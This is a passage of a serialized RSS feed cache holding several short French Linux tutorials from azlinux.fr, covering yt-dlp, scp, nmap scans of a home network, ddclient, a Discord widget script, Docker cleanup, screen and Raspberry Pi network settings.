        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:74:"Comment télécharger une piste FLAC à partir d&#039;une vidéo YouTube ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:75:"https://azlinux.fr/telecharger-une-piste-flac-a-partir-d-une-video-youtube/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:75:"https://azlinux.fr/telecharger-une-piste-flac-a-partir-d-une-video-youtube/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1747:"<img src="https://azlinux.fr/uploads/d79d161489290041836fc92fa6a24152.webp" alt="Featured image of post Comment télécharger une piste FLAC à partir d'une vidéo YouTube ?" /><p>Tout d&rsquo;abord, vous devez installer <code>python3-pip</code> et <code>FFmpeg</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y python3-pip ffmpeg
</span></span></code></pre></div><p>Et maintenant, installez yt-dlp en utilisant le gestionnaire de paquets pip.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pip3 install yt-dlp
</span></span></code></pre></div><div class="video-wrapper">
    <iframe loading="lazy" 
            src="https://www.youtube.com/embed/zEvl44Auv6Y" 
            allowfullscreen 
            title="YouTube Video"
    >
    </iframe>
</div>

<p>Exemple pour télécharger la piste audio FLAC d&rsquo;une vidéo.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">yt-dlp --extract-audio --audio-format flac &#34;https://www.youtube.com/watch?v=zEvl44Auv6Y&#34;
</span></span></code></pre></div><p>Si vous voulez aussi télécharger la vidéo, vous pouvez suivre cette commande.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">yt-dlp &#34;https://www.youtube.com/watch?v=zEvl44Auv6Y&#34;
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:106;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:83:"Comment transférer des fichiers d&#039;une machine à une autre en utilisant SSH ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:86:"https://azlinux.fr/transferer-des-fichiers-d-une-machine-a-une-autre-en-utilisant-ssh/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:86:"https://azlinux.fr/transferer-des-fichiers-d-une-machine-a-une-autre-en-utilisant-ssh/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1336:"<img src="https://azlinux.fr/uploads/f00d4d445f3cd82c196bc9ffb211478b.webp" alt="Featured image of post Comment transférer des fichiers d'une machine à une autre en utilisant SSH ?" /><p>La commande SCP permet le transfert sécurisé de fichiers entre l&rsquo;hôte local et l&rsquo;hôte distant ou entre deux hôtes distants.</p>
<p>Pour copier un fichier d&rsquo;Edward vers Tessa en étant connecté à Edward :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">scp /home/edward/backups.tar.gz tessa@192.168.1.110:/home/tessa/backups.tar.gz
</span></span></code></pre></div><p>Pour copier un fichier d&rsquo;Edward vers Tessa en étant connecté à Tessa :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">scp edward@192.168.1.120:/home/edward/backups.tar.gz /home/tessa/backups.tar.gz
</span></span></code></pre></div><p>Si vous souhaitez partager plusieurs articles sans vous casser la tête, vous pouvez également mettre en place un petit serveur Python très rapidement. Nous en avons déjà parlé <a class="link" href="pourquoi-utiliser-python-comme-serveur-web/" >dans un article</a>.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:107;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"Comment utiliser la commande Nmap ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:45:"https://azlinux.fr/utiliser-la-commande-nmap/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:45:"https://azlinux.fr/utiliser-la-commande-nmap/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2671:"<img src="https://azlinux.fr/uploads/ca101f92b3c25009fc9a2cf3cfc0f850.webp" alt="Featured image of post Comment utiliser la commande Nmap ?" /><p>Tout d&rsquo;abord, vous devez installer le programme :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y nmap
</span></span></code></pre></div><p>Commande de base pour détecter les ports ouverts :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">nmap 192.168.1.1
</span></span></code></pre></div><p>Résultat de cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">1</span><span class="cl">PORT    STATE  SERVICE
</span></span><span class="line"><span class="ln">2</span><span class="cl">53/tcp  open   domain
</span></span><span class="line"><span class="ln">3</span><span class="cl">80/tcp  open   http
</span></span><span class="line"><span class="ln">4</span><span class="cl">113/tcp closed ident
</span></span><span class="line"><span class="ln">5</span><span class="cl">135/tcp closed msrpc
</span></span><span class="line"><span class="ln">6</span><span class="cl">139/tcp open   netbios-ssn
</span></span><span class="line"><span class="ln">7</span><span class="cl">443/tcp open   https
</span></span><span class="line"><span class="ln">8</span><span class="cl">445/tcp open   microsoft-ds
</span></span><span class="line"><span class="ln">9</span><span class="cl">631/tcp open   ipp
</span></span></code></pre></div><p>Pour obtenir plus de détails, vous pouvez exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">nmap -p- -sV -sC -T4 192.168.1.1
</span></span></code></pre></div><p>Pour plus d&rsquo;explications sur cette commande, vous pouvez consulter le site <a class="link" href="https://explainshell.com/explain?cmd=nmap&#43;-p-&#43;-sV&#43;-sC&#43;-T4&#43;192.168.1.1"  target="_blank" rel="noopener"
    >Explain Shell</a>.</p>
<p>Si vous voulez scanner votre réseau local, mais exclure votre routeur par exemple, vous pouvez utiliser cette commande</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nmap 192.168.1.0/24 --exclude 192.168.1.1
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:108;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:62:"Comment utiliser la fonction DynDNS d&#039;OVH avec ddclient ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"https://azlinux.fr/utiliser-la-fonction-dyndns-d-ovh-avec-ddclient/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:67:"https://azlinux.fr/utiliser-la-fonction-dyndns-d-ovh-avec-ddclient/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2165:"<img src="https://azlinux.fr/uploads/3ae7a80c40dacbe55adaecdfc438f8fc.webp" alt="Featured image of post Comment utiliser la fonction DynDNS d'OVH avec ddclient ?" /><p>Tout d&rsquo;abord, vous devez installer <code>ddclient</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y ddclient
</span></span></code></pre></div><p>Modifiez le fichier avec vos identifiants :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/ddclient.conf
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">protocol=dyndns2
</span></span><span class="line"><span class="ln">2</span><span class="cl">server=www.ovh.com
</span></span><span class="line"><span class="ln">3</span><span class="cl">use=web
</span></span><span class="line"><span class="ln">4</span><span class="cl">login=azlinux.fr-checkip
</span></span><span class="line"><span class="ln">5</span><span class="cl">password=&#39;my_very_strong_password&#39;
</span></span><span class="line"><span class="ln">6</span><span class="cl">checkip.azlinux.fr
</span></span></code></pre></div><p>Vérifiez que cela fonctionne :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo ddclient -verbose -file /etc/ddclient.conf
</span></span></code></pre></div><p>Permet à ddclient de démarrer automatiquement au démarrage du système :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo systemctl start ddclient
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo systemctl <span class="nb">enable</span> ddclient
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:109;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:90:"Comment afficher le nombre de personnes actuellement connecté sur votre serveur Discord ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:99:"https://azlinux.fr/afficher-le-nombre-de-personnes-actuellement-connecte-sur-votre-serveur-discord/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 02 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:99:"https://azlinux.fr/afficher-le-nombre-de-personnes-actuellement-connecte-sur-votre-serveur-discord/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5739:"<img src="https://azlinux.fr/uploads/ffb00e280bca23773302f5a5095914cc.webp" alt="Featured image of post Comment afficher le nombre de personnes actuellement connecté sur votre serveur Discord ?" /><p>Après avoir cherché pendant plusieurs heures sur Internet voilà un article qui vous expliquera comment afficher le nombre de personnes actuellement connecté sur votre serveur Discord directement sur votre page web. Dans cet exemple, nous utiliserons JavaScript sans bibliothèque additionnel comme jQuery.</p>
<p>Avant de commencer, il vous faudra activer l&rsquo;option « Activer le widget du serveur » dans <code>Paramètres du serveur &gt; Widget</code></p>
<p><img src="https://azlinux.fr/uploads/dbc0d69b76617e630aa2e27bc5cfa5fa.webp"
	
	
	
	loading="lazy"
	
	
></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kd">var</span> <span class="nx">discord_key</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kd">var</span> <span class="nx">xmlHttpRequest</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="nx">xmlHttpRequest</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span> <span class="s2">&#34;https://discord.com/api/guilds/&#34;</span> <span class="o">+</span> <span class="nx">discord_key</span> <span class="o">+</span> <span class="s2">&#34;/embed.json&#34;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="nx">xmlHttpRequest</span><span class="p">.</span><span class="nx">onreadystatechange</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">readyState</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">&amp;&amp;</span> <span class="k">this</span><span class="p">.</span><span class="nx">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">            <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">            <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;discordCount&#34;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">d</span><span class="p">.</span><span class="nx">presence_count</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="p">}</span>  
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="p">};</span>  
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nx">xmlHttpRequest</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>  
</span></span></code></pre></div><p>À noter, il vous faudra ajouter le numéro de l&rsquo;identifiant de votre serveur Discord dans la variable <code>discord_key</code></p>
<p>Vous pouvez voir le résultat du code à la gauche de votre écran. Si vous aussi vous utilisez le générateur de site Hugo, vous pouvez ajouter ce bout de code dans le fichier <code>layouts/partials/head/custom.html</code></p>
<p>Et modifier ensuite le fichier qui se trouve dans <code>layouts/partials/sidebar/left.html</code> en remplaçant ça :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">h2</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;site-description&#34;</span><span class="p">&gt;</span>{{ .Site.Params.sidebar.subtitle }}<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Par ça :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">h2</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;site-description&#34;</span><span class="p">&gt;</span>Rejoignez notre Discord, il y a actuellement <span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;discordCount&#34;</span><span class="p">&gt;</span>0<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> membres en ligne.<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:110;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:45:"Comment arrêter tous les conteneurs Docker ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:54:"https://azlinux.fr/arreter-tous-les-conteneurs-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 02 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:54:"https://azlinux.fr/arreter-tous-les-conteneurs-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1178:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post Comment arrêter tous les conteneurs Docker ?" /><p>Il faut mieux parfois tout recommencer de zéro alors voilà, ce sont trois commandes qui vous permettront d&rsquo;arrêter et de supprimer tous les conteneurs en cours de fonctionnement.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker <span class="nb">kill</span> <span class="k">$(</span>docker ps -q<span class="k">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">docker rm <span class="k">$(</span>docker ps -a -q<span class="k">)</span>
</span></span></code></pre></div><p>Si vous souhaitez aussi supprimer toutes les images téléchargées, vous pouvez exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker rmi <span class="k">$(</span>docker images -q<span class="k">)</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:111;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"Comment utiliser la commande screen ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:47:"https://azlinux.fr/utiliser-la-commande-screen/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 02 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:47:"https://azlinux.fr/utiliser-la-commande-screen/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:567:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment utiliser la commande screen ?" /><p>Cette commande est utilisée pour lancer un script Python et lorsque l&rsquo;utilisateur se déconnecte pour le maintenir en cours d&rsquo;exécution.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">screen -dm bash -c <span class="s1">&#39;python index.py&#39;</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:112;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:80:"Raccourci clavier pour prendre une capture d&#039;écran rapidement avec Firefox";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"https://azlinux.fr/raccourci-clavier-pour-prendre-une-capture-d-ecran-rapidement-avec-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 02 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:94:"https://azlinux.fr/raccourci-clavier-pour-prendre-une-capture-d-ecran-rapidement-avec-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:464:"<img src="https://azlinux.fr/uploads/3e46753e856d4227ef8b07988e15e7b1.webp" alt="Featured image of post Raccourci clavier pour prendre une capture d'écran rapidement avec Firefox" /><p>Au lieu de prendre une capture d&rsquo;écran de tout votre écran voici une solution qui vous permet de facilement capturer une zone d&rsquo;un site web.</p>
<p>Pour afficher l&rsquo;outil de capture d&rsquo;écran utiliser le raccourci clavier <code>Ctrl + Maj + S</code></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:113;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:64:"Comment configurer une adresse IP statique sur un Raspberry Pi ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"https://azlinux.fr/configurer-une-adresse-ip-statique-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 01 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:74:"https://azlinux.fr/configurer-une-adresse-ip-statique-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1681:"<img src="https://azlinux.fr/uploads/87d6e95d0edd0b2d33144b1df4f43b35.webp" alt="Featured image of post Comment configurer une adresse IP statique sur un Raspberry Pi ?" /><p>Lorsque vous utilisez votre Raspberry Pi pour héberger des services, il est nécessaire que cette adresse IP ne change pas au fil du temps plusieurs solutions s&rsquo;offrent à vous soit vous appliquez une IP statique sur votre routeur ou directement via ces commandes.</p>
<ol>
<li>Vous pouvez d&rsquo;abord modifier ce fichier si vous voulez utiliser des DNS personnalisés.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/resolv.conf
</span></span></code></pre></div><ol start="2">
<li>Choisissez et éditez le fichier avec l&rsquo;adresse IP désirée.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/dhcpcd.conf
</span></span></code></pre></div><ol start="3">
<li>Redémarrez la machine pour appliquer les changements</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo reboot
</span></span></code></pre></div><ol start="4">
<li>Vérifiez l&rsquo;adresse IP de votre machine</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hostname -I
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:114;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:76:"Comment encoder et décoder une chaîne base64 depuis la ligne de commande ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:64:"https://azlinux.fr/comment-encoder-et-decoder-une-chaine-base64/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 01 Feb 2022 09:00:00 